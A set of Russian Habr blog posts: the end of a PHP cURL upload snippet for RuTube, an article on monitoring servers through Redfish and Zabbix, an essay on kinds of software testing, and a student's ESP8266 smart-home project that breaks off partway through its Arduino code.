> 11. 'rt\_enc' => 'UTF-8',
> 12. 'referer' => 'http://'.$\_SERVER['SERVER\_NAME'].'/upload.html',
> 13. 'title' => $name,
> 14. 'rt\_tags' => $tags,
> 15. 'comment' => $description,
> 16. 'category' => $rutube\_cat,
> 17. 'data'=> '@'.$fname
> 18. );
> 19.
> 20. $ch = curl\_init();
> 21. curl\_setopt($ch, CURLOPT\_URL, "http://uploader.rutube.ru/cgi-bin/jsapi.cgi");
> 22. curl\_setopt($ch, CURLOPT\_FOLLOWLOCATION, 0);
> 23. curl\_setopt($ch, CURLOPT\_POSTFIELDS, $array\_var);
> 24. curl\_setopt($ch, CURLOPT\_RETURNTRANSFER, 1);
> 25.
> 26. $response = curl\_exec($ch);
> 27. curl\_close($ch);
> 28.
> 29. if ($response)
> 30. {
> 31. $response = split("\r\n\r\n", $response);
> 32. $response = trim(preg\_replace('/.\*Location:.\*redirect=(\S\*).\*/i', '$1', strtr($response[0],array("\n" =>' ', "\r" => ' '))));
> 33.
> 34. if (strpos($response, 'error') === false)
> 35. {
> 36. //ролик успешно загружен на rutube
> 37. $response = preg\_replace('/.\*rt\_movie\_id=(.\*)/i', '$1', $response); //полученный временный id
> 38. $sql->Query('INSERT INTO movie SET category\_id='.$category.',name="'.SQL\_STR.'",description="'.SQL\_STR.'",date='.time().', author = "'.SQL\_STR.'",user\_id='.$user['id'].',status=1,rutube\_id="'.SQL\_STR.'", tags="'.SQL\_STR.'"', $name, $description, $author, $response, $tags);
> 39.
> 40. header('Location: http://'.$\_SERVER['SERVER\_NAME'].'/upload.html?successful');
> 41. }
> 42. }
> 43. }
> \* This source code was highlighted with Source Code Highlighter.`
Данный подход может применяться, когда не сервере отключена поддержка сокетов, но есть **cURL**. Код, как Вы видите, более компактный получился, ну и **cURL** работает пошустрее сокетов.
Мы применили такой подход в модуле, написанном для **CMS S.Builder**, который взаимодействует с сервисом **ruTube**. Проверяется наличие библиотеки **cURL**, если она есть на сервере, то работа ведется с ее помощью, если нет, то пытаемся работать через сокеты. Пока проблем не было. | https://habr.com/ru/post/42158/ | null | ru | null |
# Redfish в GAGAR>IN BMC
На сегодняшний день большинство крупных производителей серверного оборудования, таких как (DELL, IBM, HP) включают поддержку RedFish в прошивки для своих BMC контроллеров (Baseboard management controller) Разумеется, разрабатывая серверы GAGAR>IN, мы также добавили поддержку Redfish в наш BMC, который построен на базе открытого проекта OpenBMC. В этой статье расскажем, для чего мы используем RedFish и какие преимущества он нам даёт.
Redfish - это, как всем известно, спецификация и открытый индустриальный стандарт, который пришёл на смену устаревшему IPMI. Он используется для управления серверным оборудованием посредством RESTful интерфейса. Redfish разрабатывается некоммерческой ассоциацией производителей DMTF (Distributed Management Task Force) с 2014 года и к настоящему моменту достаточно заматерел. Актуальная спецификация Redfish версии 1.12.0 была опубликована 21 января 2021 года.
Если по простому, то весь функционал Redfish можно разделить на две больше группы: мониторинг и управление. Большая часть схемы Redfish содержит информацию об инвентаризации системы и текущем состоянии отдельных компонент. Но есть также множество идентификаторов OData (Open Data Protocol), которые отвечают за управление, изменение настроек BMC/UEFI и выполнение определённых команд. В этой статье мы коснёмся лишь мониторинга.
Мониторинг
----------
В рамках развития системы мониторинга Zabbix, о которой мы писали в предыдущей [статье об OCP Experience Lab](https://habr.com/ru/company/gagar_in/blog/521042/), стояла задача получения основных параметров работы наших серверов, таких как температура процессоров, потребляемая мощность, токи нагрузки, частоты вращения вентиляторов и т.д. в периоды простоя и максимальной нагрузки.
Среди опрашиваемых машин были как наши собственные серверы GAGAR>IN, так и модели других OCP производителей Wiwynn и MiTAC, произведенные по такой же спецификации Tioga Pass. При этом на серверах GAGAR>IN были установлены BMC контроллеры с прошивкой на основе OpenBMC, а на Wiwynn и MiTAC использовался MegaRAC SP-X от AMI (American Megatrends Inc.).
И GAGAR>IN BMC и AMI MegaRAC SP-X поддерживают RedFish в качестве RESTful веб API для получения данных о сенсорах. Причем обе реализации схемы Redfish минимально отличаются друг от друга, что позволило нам разработать универсальный шаблон для Zabbix. Но начнем с простого.
#### Модель работы Redfish
Любой запрос Redfish формируется агентом используя HTTPS протокол передачи данных. Как правило используется метод GET для получения данных, но может и быть POST, PATCH и DELETE для специфических операций, которые мы обсудим позже. В ответ на запрос сервер формирует ответ в JSON формате, который содержит запрашиваемую информацию или сообщение об ошибке. Типовой URI запроса выглядит следующим образом
> https:///redfish/v1/Systems/system
>
>
#### Структура дерева ресурсов Redfish
Запрос к корневому элементу дерева ресурсов Redfish возвращает набор элементов "Collections", которые в свою очередь могут содержать подразделы и отдельные конечные элементы. Для реализации Redfish в OCP серверах определены следующие элементы:
https://www.opencompute.org/files/OCP-Summit-2018-OCP-Profile-for-Server-v5.pdfДля примера, вышеуказанный запрос на получение основной информации о системе возвращает нам JSON примерно вот такого вида (для краткости приведён небольшой фрагмент):
```
"Manufacturer": "GAGAR>IN",
"Memory": {
"@odata.id": "/redfish/v1/Systems/system/Memory"
},
"MemorySummary": {
"Status": {
"Health": "OK",
"HealthRollup": "OK",
"State": "Enabled"
},
"TotalSystemMemoryGiB": 48
},
"Model": "Tioga Pass Single Side",
"Name": "system",
"PartNumber": "HEPB.466216.007",
"PowerRestorePolicy": "AlwaysOff",
"PowerState": "On",
"ProcessorSummary": {
"Count": 2,
"Model": "Intel Xeon processor",
"Status": {
"Health": "OK",
"HealthRollup": "OK",
"State": "Enabled"
}
},
```
Но для задач мониторинга нас больше интересуют градусы Цельсия, амперы и вольты, поэтому следующий запрос мы шлём на URI:
> https:///redfish/v1/Chassis/TiogaPass\_Baseboard/Thermal
>
>
В ответ получаем длиннющую "простыню", содержащую информацию о состоянии каждого датчика, установленного в системе, а их у нас в сервере несколько сотен. Привожу пример по одному датчику:
```
"Temperatures": [
{
"@odata.id": "/redfish/v1/Chassis/TiogaPass_Baseboard/Thermal#/Temperatures/53",
"@odata.type": "#Thermal.v1_3_0.Temperature",
"MaxReadingRangeTemp": 127.0,
"MemberId": "Core_7_CPU1",
"MinReadingRangeTemp": -128.0,
"Name": "Core 7 CPU1",
"ReadingCelsius": 22.0,
"Status": {
"Health": "OK",
"State": "Enabled"
},
"UpperThresholdCritical": 91.0,
"UpperThresholdNonCritical": 81.0
},
]
```
Очевидно, что ReadingCelsius - это текущее значение температуры сенсора для Core 7 CPU1, UpperThresholdNonCritical - это порог высокой температуры, а UpperThresholdCritical - это значение критического состояния. Вот было бы здорово нарисовать эти значения на графике, да еще и генерировать оповещения при превышении UpperThresholdNonCritical. И так для каждого датчика.
Воодушевленные возможностью получения такого огромного массива оперативной информации мы задумались об инструменте для её автоматической обработки. И тут на сцену выходит LLD (low level discovery) от Zabbix.
#### Низкоуровневое обнаружение в Zabbix
Низкоуровневое обнаружение (Low Level Discovery) даёт возможность автоматического создания элементов данных, триггеров и графиков в Zabbix для различных объектов мониторинга. В нашем случае мы будем создавать элементы данных для каждого датчика, показания которого мы получили в нашем Redfish ответе.
Затем мы будем строить для этого элемента данных графики на основании накопленных данных. Будем также создать прототипы триггеров, которые будут срабатывать при превышении оперативных значении определенных пороговых значений, и отправлять нам сообщения в Телеграмм.
Но вот незадача, мы же не ставим агента Zabbix на BMC. Вместо этого мы хотим парсить ответ на Redfish запрос. Причем Zabbix ждет от нас данные в формате JSON. Но структура этих данных имеет вполне определенный формат который, конечно же отличается от того, что мы получили в Redfish ответе. Что ж, для решения этих задач придется написать пару скриптов!
#### Скрипты LLD для GAGAR>IN BMC
Но неужели никто до нас не сталкивался с подобной задачей? Быстрый поиск на Zabbix Share показал, что не только сталкивались, но и успешно решали её. В частности удалось найти [замечательный фреймворк для DELL iDRAC](https://share.zabbix.com/cat-server-hardware/dell/dell-idrac-via-redfish). Пришлось внести некоторые изменения в скрипты, потому что DELL-овская реализация Redfish отличается от используемой в OpenBMC. В частности идентификаторы OData выглядят следующим образом для разных BMC:
> Dell iDRAC: /redfish/v1/Systems/System.Embedded.1/Processors
>
> AMI MegaRAC: /redfish/v1/Systems/Self/Processors
>
> GAGAR>IN: /redfish/v1/Systems/system/Processors
>
>
Мы добавили в свои скрипты дополнительный параметр $TYPE, который позволял указывать тип BMC. В зависимости от этого подставлялись правильные идентификаторы OData.
Кроме этого пришлось повозиться с jq - замечательным обработчиком JSON, работающим в командной строке. Например, для получения заветного значения температурного датчика из приведенного выше JSON, пришлось использовать вот такую конструкцию:
> cat ${BATCH} | jq --arg TYPE "$TYPE" --arg NAME "$NAME" '.[$TYPE] | .[] | select(.Name==$NAME)' | jq ".${ITEM}" | tr -d "'" | tr -d '"'
>
>
где BATCH - это имя файла, TYPE = 'Temperatures', NAME = 'Core 7 CPU1', а ITEM = ReadingCelsius. Если кто-то предложит более оптимальный вариант разбора, мы будем очень признательны.
Первый скрипт на Ruby, делая запросы по верхнему уровню схемы Redfish, обнаруживает все доступные группы элементов данных из всех вышеуказанных "Collections": Processors, Memory, Thermal, Power, Sensors. Настраиваем Zabbix на запуск этого скрипта раз в час - мы же не меняем набивку сервера каждые пять минут.
Второй скрипт на Ruby использует выявленные первым скриптом идентификаторы OData (Open Data Protocol) и выполняет по ним отдельные Redfish запросы, после чего сохраняет эти данные локально для дальнейшей обработки. Есть смысл настроить запуск этого скрипта в Zabbix раз в пять минут или даже чаще, если есть желание получить более дискретные графики.
Но стоит учитывать тот факт, что объем хранимых данных в Zabbix вырастет пропорционально, да и poller может не успеть опросить все серверы, особенно если их десятки или даже сотни в дата-центре.
Последний скрипт на простом bash выполняет простую функцию парсера полученного вторым скриптом файла. Он формирует вывод в JSON формате, который может понимать непосредственно Zabbix. Всю остальную красоту рисует для нас Zabbix.
#### Красивые графики
Создав в Zabbix шаблон для вызова вышеописанных скриптов, мы настроили создание отдельных прототипов данных для каждого обнаруженного датчика, а также прототипов триггеров для тех датчиков, которые имеют пороговые значения. Ну и конечно же не забыли добавить прототипы для графиков, которые вы можете посмотреть ниже.
Вольтаж батарейки UEFI. При снижении значения ниже 2.73 вольт, сработает триггер оповещения.TDP первого процессора в Ваттах. При нагрузке на процессор мощность существенно растёт.Температура 15 ядра первого процессора. При превышении 81С сработает триггер.#### Что дальше?
В результате мы получили 745 элементов данных, 118 графиков и 355 триггеров для одного GAGAR>IN BMC. Разумеется, мониторинг это не самоцель, поэтому активные триггеры мы оставили для ключевых элементов данных, таких как перегрев процессоров, общий health-статус компонентов и превышение пороговых значений токов.
Набор скриптов и шаблон Zabbix оформлен в отдельный репозиторий на github, а также выложен на [Zabbix Share](https://share.zabbix.com/cat-server-hardware/other/redfish-for-megarac-sp-x-and-phoenix-serverbmc) Стрижка, как говорится, только начата, поэтому мы приглашаем всех пользователей оборудования OCP брать наши наработки за основу и дорабатывать их. Некоторые секции данных, такие как, например, Storage и ManagedBy, в наших скриптах не обрабатываются, и будет здорово, если их поддержка будет кем-то добавлена.
В следующей статье напишем, как мы используем Redfish для управления сервером. | https://habr.com/ru/post/549192/ | null | ru | null |
# Виды тестирования и подходы к их применению
Из институтского курса по технологиям программирования я вынес следующую классификацию видов тестирования (критерий — степень изолированности кода). Тестирование бывает:* Блочное ([Unit testing](http://en.wikipedia.org/wiki/Unit_testing)) — тестирование одного модуля в изоляции.
* Интеграционное ([Integration Testing](http://en.wikipedia.org/wiki/Integration_testing)) — тестирование группы взаимодействующих модулей.
* Системное ([System Testing](http://en.wikipedia.org/wiki/System_testing)) — тестирование системы в целом.
Классификация хорошая и понятная. Однако на практике выясняется, что у каждого вида тестирования есть свои особенности. И если их не учитывать, тестирование станивится обременительным и им не занимаются в должной мере. Здесь я собрал подходы к реальному применению различных видов тестирования. А поскольку я пишу на .NET, ссылки будут на соответствующие библиотеки.
Блочное тестирование
====================
Блочное (модульное, unit testing) тестирование наиболее понятное для программиста. Фактически это тестирование методов какого-то класса программы в изоляции от остальной программы.
Не всякий класс легко покрыть unit тестами. При проектировании нужно учитывать возможность тестируемости и зависимости класса делать явными. Чтобы гарантировать тестируемость можно применять [TDD методологию](http://en.wikipedia.org/wiki/Test-driven_development), которая предписывает сначала писать тест, а потом код реализации тестируемого метода. Тогда архитектура получается тестируемой. Распутывание зависимостей можно осуществить с помощью [Dependency Injection](http://msdn.microsoft.com/en-us/library/aa973811.aspx). Тогда каждой зависимости явно сопоставляется интерфейс и явно определяется как инжектируется зависимость — в конструктор, в свойство или в метод.
Для осуществления unit тестирования существуют специальные фреймворки. Например, [NUnit](http://www.nunit.org/index.php?p=download) или тестовый фреймфорк из Visual Studio 2008. Для возможности тестирования классов в изоляции существуют специальные Mock фреймворки. Например, [Rhino Mocks](http://www.ayende.com/projects/rhino-mocks/downloads.aspx). Они позволяют по интерфейсам автоматически создавать заглушки для классов-зависимостей, задавая у них требуемое поведение.
По unit тестированию написано много статей. Мне очень нравится MSDN статья [Write Maintainable Unit Tests That Will Save You Time And Tears](http://msdn.microsoft.com/en-us/magazine/cc163665.aspx), в которой хорошо и понятно рассказывается как создавать тесты, поддерживать которые со временем не становится обременительно.
Интеграционное тестирование
===========================
Интеграционное тестирование, на мой взгляд, наиболее сложное для понимания. Есть определение — это тестирование взаимодействия нескольких классов, выполняющих вместе какую-то работу. Однако как по такому определению тестировать не понятно. Можно, конечно, отталкиваться от других видов тестирования. Но это чревато.
Если к нему подходить как к unit-тестированию, у которого в тестах зависимости не заменяются mock-объектами, то получаем проблемы. Для хорошего покрытия нужно написать **много** тестов, так как количество возможных сочетаний взаимодействующих компонент — это полиномиальная зависимость. Кроме того, unit-тесты тестируют как именно осуществляется взаимодействие (см. [тестирование методом белого ящика](http://ru.wikipedia.org/wiki/%D0%A2%D0%B5%D1%81%D1%82%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5_%D0%BF%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D0%BD%D0%BE%D0%B3%D0%BE_%D0%BE%D0%B1%D0%B5%D1%81%D0%BF%D0%B5%D1%87%D0%B5%D0%BD%D0%B8%D1%8F#.D0.A2.D0.B5.D1.81.D1.82.D0.B8.D1.80.D0.BE.D0.B2.D0.B0.D0.BD.D0.B8.D0.B5_.C2.AB.D0.B1.D0.B5.D0.BB.D0.BE.D0.B3.D0.BE_.D1.8F.D1.89.D0.B8.D0.BA.D0.B0.C2.BB_.D0.B8_.C2.AB.D1.87.D1.91.D1.80.D0.BD.D0.BE.D0.B3.D0.BE_.D1.8F.D1.89.D0.B8.D0.BA.D0.B0.C2.BB)). Из-за этого после рефакторинга, когда какое-то взаимодействие оказалось выделенным в новый класс, тесты рушатся. Нужно применять менее инвазивный метод.
Подходить же к интеграционному тестированию как к более детализированному системному тоже не получается. В этом случае наоборот тестов будет **мало** для проверки всех используемых в программе взаимодействий. Системное тестирование слишком высокоуровневое.
Хорошая статья по интеграционному тестированию мне попалась лишь однажды — [Scenario Driven Tests](http://ayende.com/Blog/archive/2009/09/29/scenario-driven-tests.aspx). Прочтя ее и книгу Ayende по DSL [DSLs in Boo, Domain-Specific Languages in .NET](http://www.manning.com/rahien/) у меня появилась идея как все-таки устроить интеграционное тестирование.
Идея простая. У нас есть входные данные, и мы знаем как программа должна отработать на них. Запишем эти знания в текстовый файл. Это будет спецификация к тестовым данным, в которой записано, какие результаты ожидаются от программы. Тестирование же будет определять соответствие спецификации и того, что действительно находит программа.
| |
| --- |
| Проиллюстрирую на примере. Программа конвертирует один формат документа в другой. Конвертирование хитрое и с кучей математических расчетов. Заказчик передал набор типичных документов, которые ему требуется конвертировать. Для каждого такого документа мы напишем спецификацию, где запишем всякие промежуточные результаты, до которых дойдет наша программа при конвертировании.
1) Допустим в присланных документах есть несколько разделов. Тогда в спецификации мы можем указать, что у разбираемого документа должны быть разделы с указанными именами:
`$SectionNames = Введение, Текст статьи, Заключение, Литература`
2) Другой пример. При конвертировании нужно разбивать геометрические фигуры на примитивы. Разбиение считается удачным, если в сумме все примитивы полностью покрывают оригинальную фигуру. Из присланных документов выберем различные фигуры и для них напишем свои спецификации. Факт покрываемости фигуры примитивами можно отразить так:
`$IsCoverable = true` |
Понятно, что для проверки подобных спецификаций потребуется движок, который бы считывал спецификации и проверял их соответствие поведению программы. Я такой движок написал и остался доволен данным подходом. Скоро выложу движок в Open Source. (UPD: [Выложил](http://habrahabr.ru/blogs/testing/81848/))
Данный вид тестирования является интеграционным, так как при проверке вызывается код взаимодействия нескольких классов. Причем важен только результат взаимодействия, а не детали и порядок вызовов. Поэтому на тесты не влияет рефакторинг кода. Не происходит избыточного или недостаточного тестирования — тестируются только те взаимодействия, которые встречаются при обработке реальных данных. Сами тесты легко поддерживать, так как спецификация хорошо читается и ее просто изменять в соответствии с новыми требованиями.
Системное тестирование
======================
Системное — это тестирование программы в целом. Для небольших проектов это, как правило, ручное тестирование — запустил, пощелкал, убедился, что (не) работает. Можно автоматизировать. К автоматизации есть два подхода.
Первый подход — это использовать вариацию MVC паттерна — [Passive View](http://martinfowler.com/eaaDev/PassiveScreen.html) (вот еще хорошая статья по [вариациям MVC паттерна](http://www.paulstovell.com/wpf-presentation-patterns)) и формализовать взаимодействие пользователя с GUI в коде. Тогда системное тестирование сводится к тестированию Presenter классов, а также логики переходов между View. Но тут есть нюанс. Если тестировать Presenter классы в контексте системного тестирования, то необходимо как можно меньше зависимостей подменять mock объектами. И тут появляется проблема инициализации и приведения программы в нужное для начала тестирования состояние. В упомянутой выше статье [Scenario Driven Tests](http://ayende.com/Blog/archive/2009/09/29/scenario-driven-tests.aspx) об этом говорится подробнее.
Второй подход — использовать специальные инструменты для записи действий пользователя. То есть в итоге запускается сама программа, но щелканье по кнопкам осуществляется автоматически. Для .NET примером такого инструмента является [White библиотека](http://www.codeplex.com/white). Поддерживаются WinForms, WPF и еще несколько GUI платформ. Правило такое — на каждый use case пишется по скрипту, который описывает действия пользователя. Если все use case покрыты и тесты проходят, то можно сдавать систему заказчику. Акт сдачи-приемки должен подписать. | https://habr.com/ru/post/81226/ | null | ru | null |
# Очередной умный дом (или как потерять 2 месяца из-за одной глупой ошибки)
Предыстория
-----------
я, не знающий своей глупости и наивностиНачну я свою эпопею с небольшой предыстории. Надо было мне сделать проект для 9 класса (да, сейчас, чтобы тебя допустили до экзаменов, надо сделать проект и защитить его).
Решил практически сразу, что это будет умный дом (хотя даже воробей умнее его), ведь давно хотел сделать что-то такое, но руки так и не доходили, а тут подвернулся отличный случай + немного выпендриться можно.
Данный пост - мой переделанный диплом, да и вообще первая попытка в написании таких вещей )
План
----
Для успешной и продуктивной работы нужен план, для себя я составил его примерно таким:
1. Идея и идеология умного дома.
2. Железо для построения умного дома.
3. Код для каждой из частей умного дома.
В принципе, для начала это более чем достаточно. Теперь можно разобрать каждый пункт отдельно.
Идея и идеология умного дома
----------------------------
Посидев несколько дней и обдумав все идеи, в моей голове всплыла утопическая идея такой системы, которая не нуждалась бы в базовом модуле, а каждый такой модуль будет полностью автономен. У системы такого типа, в отличии от той, что использует в своей основе базовый модуль (примером может быть умный дом xiaomi), имеется несколько плюсов и минусов.
Начнем с плюсов. Главный плюс - отказоустойчивость, даже если один из управляющих модулей выйдет из строя, датчики все равно будут отправлять данные пользователю. Второй же плюс - возможность связи модулей на больших расстояниях.
А теперь про минусы: самый значительный минус - автономности, ведь на то, чтобы проснуться, подключиться к интернету, отправить данные и уснуть тратится больше энергии, чем на то, чтобы передать данные по радиоканалу. Следующий минус состоит в необходимости наличия интернета для работы каждого датчика, иначе он просто не сможет отправить данные.
В итоге я составил список функционала, который умный дом должен реализовывать в ИДЕАЛЕ:
1. Автономные модули.
2. Взаимозаменяемость модулей.
3. Масштабируемость системы.
При работе, выяснилось что времени до дедлайна не так уж и много, так что я решил урезать свой список, оставив в нём только автономность и масштабируемость, хотя взаимозаменяемость добавляется в итоговый проект довольно просто.
И да, забыл сказать, модуль - единичное устройство системы умного дома, будь то wi-fi розетка или датчик температуры.
Для приемо-передачи данных я выбрал MQTT, довольно известный и удобный протокол передачи.
Микроконтроллер
---------------
Микроконтроллером, который является основой для каждого модуля умного дома, я выбрал всем хорошо знакомый, даже немного заезженный ESP-12F . Он хорош своими возможностями, в которые входит функция WI-FI (как соединение, так и точка доступа) и отличная производительность, которой с лихвой хватило на все мои задумки, а цена за штуку не превышает 100 рублей в Китае, если брать сразу 10 штук.
распиновка и внутреннее устройство esp12FВообще есть несколько версий esp12, самая первая - esp12Е, она по всем фронтам уступает более новому esp12F. Основные их отличия в форме антенны, у F-версии она сделана более удачно, и в размере Flash памяти: у E-версии в большинстве случаев она составляет 1МБ, в то время как у F-версии она уже 4МБ. Также, вроде как различия в внутренней компоновки компонентов, которая удачнее в F-версии. Еще можно вспомнить самую новую версию - esp12S, которая практически идентична (если я правильно разобрался) своей начинкой, но сделана в более компактном и удобном корпусе для smd пайки.
три версии esp12 рядомУстройство WI-FI розетки
------------------------
Теперь можно рассмотреть каждый модуль, всего их будет 3.
Что из себя вообще представляет умная (wifi) розетка - устройство, включаемый в обычную розетку и которое может управлять (как автоматически, так и в ручном режиме) нагрузкой, включенную в это устройство.
Есть два основных способа реализовать это:
1 способ - использовать реле, вместе с транзисторным ключом (реле 5В, а микроконтроллер питается от 3.3В).
2 способ - использовать симистор.
Оба способа хороши, Реле более простое и меньше шансов что оно сгорит, а симистор более дешевый, быстрый, не имеет в себе никаких механических частей, компактней и может пропускать через себя более большие токи.
симистор и релеЯ решил все же использовать реле, ведь оно было уже куплено и схема была отработана, а с симистор пришлось бы разбираться.
принципиальная схемаКак видно на схеме, для правильной работы реле, ему нужен транзисторный ключ, ведь esp12F питается от 3.3В, а реле на 5В, да и такую нагрузку лучше не включать прямо в пин микроконтроллера, может сгореть.
Как AC/DC преобразователь может использоваться любой блок питания без корпуса, я использовал готовый для таких целей блок питания с алика, с 220В переменного на 5В постоянного и 1А на выходе, что даже избыточно, ведь вся схема в работе потребляет не более 0,3-0,2А. Для транзисторного ключа идеально подошел кт315, который уже хорошо известен многим радиолюбителям.
Как было сказано раньше, esp12F питается от 3.3В, а блок питания выдает все 5В, для того, чтобы МК не сгорел, для его питания, сразу после блока питания стоит понижающий линейный преобразователь AMS1117.
печатная плата для wi-fi розеткиДля корпуса были куплены обычная розетка и вилка, которые впоследствии были уничтожены (разобраны на части), а основной корпус был напечатан на 3д принтере.
корпус в реальности и корпус в fusion360внутреннее строение модуляПечатная плата сделана ЛУТом, по рецепту Гайвера, только под утюгом лучше держать около 10 минут, а то краска некорректно перейдет на стеклотекстолит.
плата с стороны компонентовнеудачные платыКонечно, это не первая версия платы, да и вообще, это мой первый опыт в создании печатных плат самому, до неё было 5 неудачных попыток развести печатку, где-то не так отзеркалил, где-то не так развел, где-то плохо краска перенеслась и дорожки получились плохими.
### Устройство модулей датчиков
Оба модулей датчиков имеют практически идентичное внутреннее устройство, различия только в самих датчиках, в одном это DHT11, а в другом DS18B20 и их обвязках.
Модули выполняют очень простую функцию: отправлять показания с датчиков по MQTTT.
принципиальная схема модуля для датчика DS18B20(для DHT11 отличие будет только в резисторе, который будет не 4.7К,а 10К)печатная плата для модуля датчика(зеленое на плате - проводки на другой стороне)В этот раз корпус был полностью напечатан на 3д принтере, ведь даже так, себестоимость корпусов дешевле, чем покупать уже готовые коробочки, которые придется дорабатывать!
корпус в реале и корпус в fusion 360корпус без крышкиПитание модуля идет от 3 батареек типа АА.
Прошивка модулей
----------------
Наверное самый интересный и самый долгий пункт....
Сначала я хотел использовать RTOS-SDK от ESP, но понял что уйдет много времени чтобы разобраться в нем, поэтому я остановился на Arduino, хоть и от FreeRTOS пришлось отказаться.
Но, в принципе, для моего решения RTOS не нужна.
Для прошивки можно использовать любой программатор, совместимый с esp, но главное не перепутать перемычки (если они есть конечно) логического уровня и не поставить их на 5в, иначе esp12 может попросту сгореть.
Подключал я по этой схеме... и вот как раз таки та загвоздка, из-за которой я и потратил 2 месяца в пустую...забыл минус микроконтроллера к минусу программатора соединить! Оказывается, не дурак эту схему начертил, а дурак её пытался повторить). Пока искал где проблема, переделал много плат, заказал новые микроконтроллеры, подумал что с ними проблема, новый программатор взял, перерыл форумы с этой проблемой...
Ну да ладно, главное что все заработало.
MQTT
----
Как я и говорил раньше, решил использовать MQTT для своих целей. Сам протокол состоит из нескольких сущностей:
* Брокер - сервер, который управляет передачей данных, создает топики.
* Топик - канал передачи данных, на который может подписываться устройство "подписчик" и в который может публиковать данные устройство "издатель".
* Подписчик - устройство, подписывающееся на топик и получаемое из этого топика все данные, публикующиеся в него.
* Издатель - устройство, публикующее в топик данные .
Примерная схема передачи данных по протоколу MQTT. Разные цвета - разные топики.Одно и тоже устройство может быть как подписчиком, так и издателем одновременно, причем в разных топиках.
Изначально была идея использовать брокер от yandex iot, но он оказался менее удобным для моего проекта, хотя можно сразу прикрепить сервер обработки и хранения данных, но это стоило бы довольно дорого, поэтому выбрал wqtt, который стоит всего 300р в год и можно добавить поддержку Яндекс Алисы).
Настройка модулей
-----------------
Вообще, у каждого модуля есть два основных режима работы: режим настройки модуля и режим работы. В режим настройки входят настройка wifi в которому модуль подключается и настройка ip модуля, для обращения к нему через браузер.
Давайте разберем мою реализацию режима настройки.
Для начала, нам нужно подключить нужные библиотеки:
```
#include
#include
#include
#include
#include
```
Следом идут определение константан для точки доступа самого модуля, wifi к которому она подключается и к MQTT:
```
#define RELEPIN 4 // пин МК с реле
const char *ssid_ap = "Rozetka_Setup"; //имя точки доступа модуля
const char *password_ap = "12345678"; //пароль точки доступа модуля
const char *ID = "rele_1";// типовое, статичное ID модуля
String ssid = ""; //имя wifi
String password = ""; //пароль wifi
String device_id; // пользовательское ID модуля
bool setup_mode; // true - первичная настройка модуля, false - основная работа модуля
bool rele;// true - реле включено, false - реле выключено
const char *mqtt_server = "M5.WQTT.RU"; // Имя сервера MQTT
const int mqtt_port = 2602; // Порт для подключения к серверу MQTT
const char *mqtt_user = "user"; // Логин от серверa
const char *mqtt_pass = "pass"; // Пароль от сервера
IPAddress local_ip(192, 168, 1, 1);//IP для точки доступа модуля
IPAddress gateway(192, 168, 1, 1);//гейт для точки доступа модуля
IPAddress subnet(255, 255, 255, 0);//маска для точки доступа модуля
IPAddress local_ip_2(192, 168, 0, 250);//IP для WIFI
IPAddress gateway_2(192, 168, 0, 1);//гейт для WIFI
IPAddress subnet_2(255, 255, 255, 0);//маска для WIFI
ESP8266WebServer server(80);// server для настройки
WiFiClient wclient;
PubSubClient client(wclient, mqtt_server, mqtt_port);
```
Setup блок программы:
```
pinMode(RELEPIN, OUTPUT);
Serial.begin(115200);
EEPROM.begin(256);//подключаем EEPROM
setup_mode = EEPROM.read(45);// читаем из EERPOM текущий режим
rele = EEPROM.read(60);// читаем из EERPOM текущее состояние реле
EEPROM.end();//отключаем EEPROM
if (rele) digitalWrite(RELEPIN, HIGH); else digitalWrite(RELEPIN, LOW);
delay(1000);
WiFi.softAP(ssid_ap, password_ap);//настраиваем точку доступа(название и пароль)
WiFi.softAPConfig(local_ip, gateway, subnet);//настраиваем точку доступа(ip для подключения)
delay(100);
server.on("/", handle_OnConnect);//handle для первой начальной страницы
server.on("/end_setup", handle_EndSetup);//handle для окончания настройки
server.on("/action_page", handleForm);//handle для выбора продолжить или закончить настройку
server.onNotFound(handle_NotFound);
server.begin();//запуск сервера
Serial.println("HTTP server started");
```
Почему я использую подключение по через браузер по типу "<http://192.168.1.1/>", я попросту не нашел альтернативы . Конечно, есть технология Mdns, которая позволяет обращаться через браузер просто по имени "<http://esp8266/>", но её не поддерживают android устройства ! Я не понимаю почему, но именно так, гугл не может добавить поддержку Mdns, хотя у эпл она давно уже есть...
Как работают hadle ? Изначально мы переходим по адресу [http://192.168.1.1](http://192.168.1.1/)/, а последняя "/" и является своеобразным "указателем" на определенный handle, а сам по себе любой handle является программой, который мы настраиваем. Например адрес "[http://192.168.1.1](http://192.168.1.1/)/end\_setup" указывает на handle, который завершает настройку модуля.
Рассмотрим сами handle:
данный Handle передает пользователю веб-страничку для настройки модуля-розетки, для модулей -датчиков данная страничка будет немного иная -
```
void handle_OnConnect() {// handle, который отправляет начальную страницу
server.send(200, "text/html", SendHTML());
}
String SendHTML() {//отправка HTML страницы для настройки датчика- розетки
String ptr = " \n";
ptr += "\n";
ptr += "WIFI Control\n";
ptr += "html { font-family: Helvetica; display: inline-block; margin: 0px auto; text-align: center;}\n";
ptr += "body{margin-top: 50px;} h1 {color: #444444;margin: 50px auto 30px;} h3 {color: #444444;margin-bottom: 50px;}\n";
ptr += ".button {display: block;width: 80px;background-color: #1abc9c;border: none;color: white;padding: 13px 30px;text-decoration: none;font-size: 25px;margin: 0px auto 35px;cursor: pointer;border-radius: 4px;}\n";
ptr += ".button-on {background-color: #1abc9c;}\n";
ptr += ".button-on:active {background-color: #16a085;}\n";
ptr += ".button-off {background-color: #34495e;}\n";
ptr += ".button-off:active {background-color: #2c3e50;}\n";
ptr += "p {font-size: 14px;color: #888;margin-bottom: 10px;}\n";
ptr += "\n";
ptr += "\n";
ptr += "\n";
ptr += "Настройка WIFI
==============
\n";
ptr += "### Укажите название и пароль от нужной wifi сети
\n";
ptr += "";
ptr += "Название:
";
ptr += "";
ptr += "
";
ptr += "Пароль:
";
ptr += "";
ptr += "
";
ptr += "Название модуля:
";
ptr += "
";
ptr += "Local\_ip:
";
ptr += "";
ptr += "
";
ptr += "Gateway:
";
ptr += "";
ptr += "
";
ptr += "
";
ptr += "";
ptr += "";
ptr += "\n";
ptr += "\n";
return ptr;
}
String SendHTML() {//Отправка HTML страницы для настройки модуля - датчика
String ptr = " \n";
ptr += "\n";
ptr += "WIFI Control\n";
ptr += "html { font-family: Helvetica; display: inline-block; margin: 0px auto; text-align: center;}\n";
ptr += "body{margin-top: 50px;} h1 {color: #444444;margin: 50px auto 30px;} h3 {color: #444444;margin-bottom: 50px;}\n";
